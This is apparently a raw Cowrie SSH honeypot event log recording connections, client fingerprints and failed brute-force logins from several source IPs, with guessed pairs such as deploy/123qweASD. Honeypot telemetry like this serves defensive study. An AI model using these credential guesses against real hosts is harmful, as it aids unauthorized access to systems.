{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:96:68:f5:28:bd:7e:91:71:a9:3c:dd:a0:5c:de:eb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdDeUW5GYrd7775tMwPgg+1xw7OJavBJ3ExNEpnrFo3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint de:96:68:f5:28:bd:7e:91:71:a9:3c:dd:a0:5c:de:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.935217Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:96:68:f5:28:bd:7e:91:71:a9:3c:dd:a0:5c:de:eb","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdDeUW5GYrd7775tMwPgg+1xw7OJavBJ3ExNEpnrFo3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:58.938432Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:cd:7c:82:f1:e9:77:0b:87:5f:f9:8d:73:23:fc:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrFcXAofnALki3VEd6Nh0jDJJNqQ2RPxl4DR54DdC0Of9y84wh99WJhYXa7YGD7sGfFOafF6ix/xDePPXQvjJ1tpiTqBCN6L0ZpM+voxyRSM4DSHMGhR3rCkbHQslk/1R9Izl9G/AJD3rjGE+up7JugeKR0XdZ5Ba+dC7IyTNjOfUsvo5exKrevyEIJqRjXMV08mlIyxQIaS1OnwrAzP/a0bdUeFVZYnN8SqW0n0KndafVPS/YCxY7iCYUkPMlOHYT4C9/GhCnI0KI71xpOYjs9Os6moOHiCZFXCotA9w6Z5jt4Ue8MMjz5yalppUcVW/gjhYe53o33VkO5/OLHCr9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:cd:7c:82:f1:e9:77:0b:87:5f:f9:8d:73:23:fc:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:59.077655Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:cd:7c:82:f1:e9:77:0b:87:5f:f9:8d:73:23:fc:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrFcXAofnALki3VEd6Nh0jDJJNqQ2RPxl4DR54DdC0Of9y84wh99WJhYXa7YGD7sGfFOafF6ix/xDePPXQvjJ1tpiTqBCN6L0ZpM+voxyRSM4DSHMGhR3rCkbHQslk/1R9Izl9G/AJD3rjGE+up7JugeKR0XdZ5Ba+dC7IyTNjOfUsvo5exKrevyEIJqRjXMV08mlIyxQIaS1OnwrAzP/a0bdUeFVZYnN8SqW0n0KndafVPS/YCxY7iCYUkPMlOHYT4C9/GhCnI0KI71xpOYjs9Os6moOHiCZFXCotA9w6Z5jt4Ue8MMjz5yalppUcVW/gjhYe53o33VkO5/OLHCr9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:59.081283Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:59.123953Z","src_ip":"120.48.135.189","session":"d14120bebcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:03:59.218021Z","src_ip":"160.238.24.130","session":"aa9ac2dd54b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":62219,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d13060e289a","protocol":"ssh","message":"New connection: 213.209.159.56:62219 (10.17.0.5:22) [session: 7d13060e289a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:21.255111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:21.259803Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:21.341778Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan","message":"login attempt [quinlan/quinlan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:21.743222Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan1","message":"login attempt [quinlan/quinlan1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:22.828038Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan123","message":"login attempt [quinlan/quinlan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:23.913263Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan1234","message":"login attempt [quinlan/quinlan1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:24.998809Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"quinlan","password":"quinlan12345","message":"login attempt [quinlan/quinlan12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:26.089255Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:27.174224Z","src_ip":"213.209.159.56","session":"7d13060e289a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":39390,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a175b468db","protocol":"ssh","message":"New connection: 36.93.249.106:39390 (159.203.135.109:22) [session: 47a175b468db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:38.426213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:38.431593Z","src_ip":"36.93.249.106","session":"47a175b468db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:38.699733Z","src_ip":"36.93.249.106","session":"47a175b468db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"truc","message":"login attempt [test/truc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:39.800735Z","src_ip":"36.93.249.106","session":"47a175b468db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:41.070531Z","src_ip":"36.93.249.106","session":"47a175b468db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":57878,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc5cc6f31343","protocol":"ssh","message":"New connection: 211.186.79.173:57878 (10.17.0.5:22) [session: cc5cc6f31343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:44.749626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:44.754827Z","src_ip":"211.186.79.173","session":"cc5cc6f31343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:44.949090Z","src_ip":"211.186.79.173","session":"cc5cc6f31343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123qweASD","message":"login attempt [deploy/123qweASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:45.747721Z","src_ip":"211.186.79.173","session":"cc5cc6f31343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:04:46.942018Z","src_ip":"211.186.79.173","session":"cc5cc6f31343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":8499,"dst_ip":"159.203.135.109","dst_port":22,"session":"552128a8d68c","protocol":"ssh","message":"New connection: 185.9.193.111:8499 (159.203.135.109:22) [session: 552128a8d68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:04.699024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:04.703271Z","src_ip":"185.9.193.111","session":"552128a8d68c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:04.911792Z","src_ip":"185.9.193.111","session":"552128a8d68c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234567","message":"login attempt [deploy/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:06.667579Z","src_ip":"185.9.193.111","session":"552128a8d68c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.135.189","src_port":45994,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ded46cd76e6","protocol":"ssh","message":"New connection: 120.48.135.189:45994 (10.17.0.5:22) [session: 6ded46cd76e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:07.009936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:07.014638Z","src_ip":"120.48.135.189","session":"6ded46cd76e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:07.248529Z","src_ip":"120.48.135.189","session":"6ded46cd76e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:08.563670Z","src_ip":"185.9.193.111","session":"552128a8d68c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":42968,"dst_ip":"159.203.135.109","dst_port":22,"session":"150f4a4570a7","protocol":"ssh","message":"New connection: 36.93.249.106:42968 (159.203.135.109:22) [session: 150f4a4570a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:33.111143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:33.115922Z","src_ip":"36.93.249.106","session":"150f4a4570a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:33.385019Z","src_ip":"36.93.249.106","session":"150f4a4570a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test.123","message":"login attempt [test/test.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:34.491981Z","src_ip":"36.93.249.106","session":"150f4a4570a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:35.763824Z","src_ip":"36.93.249.106","session":"150f4a4570a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":37422,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6142029addc","protocol":"ssh","message":"New connection: 187.212.47.18:37422 (10.17.0.5:22) [session: e6142029addc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:37.868107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:37.872602Z","src_ip":"187.212.47.18","session":"e6142029addc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:38.114716Z","src_ip":"187.212.47.18","session":"e6142029addc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc#123","message":"login attempt [ubuntu/abc#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:38.455394Z","src_ip":"187.212.47.18","session":"e6142029addc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:05:39.539177Z","src_ip":"187.212.47.18","session":"e6142029addc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":59016,"dst_ip":"10.17.0.5","dst_port":22,"session":"43c43b4f363d","protocol":"ssh","message":"New connection: 211.186.79.173:59016 (10.17.0.5:22) [session: 43c43b4f363d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:06:00.899355Z"}
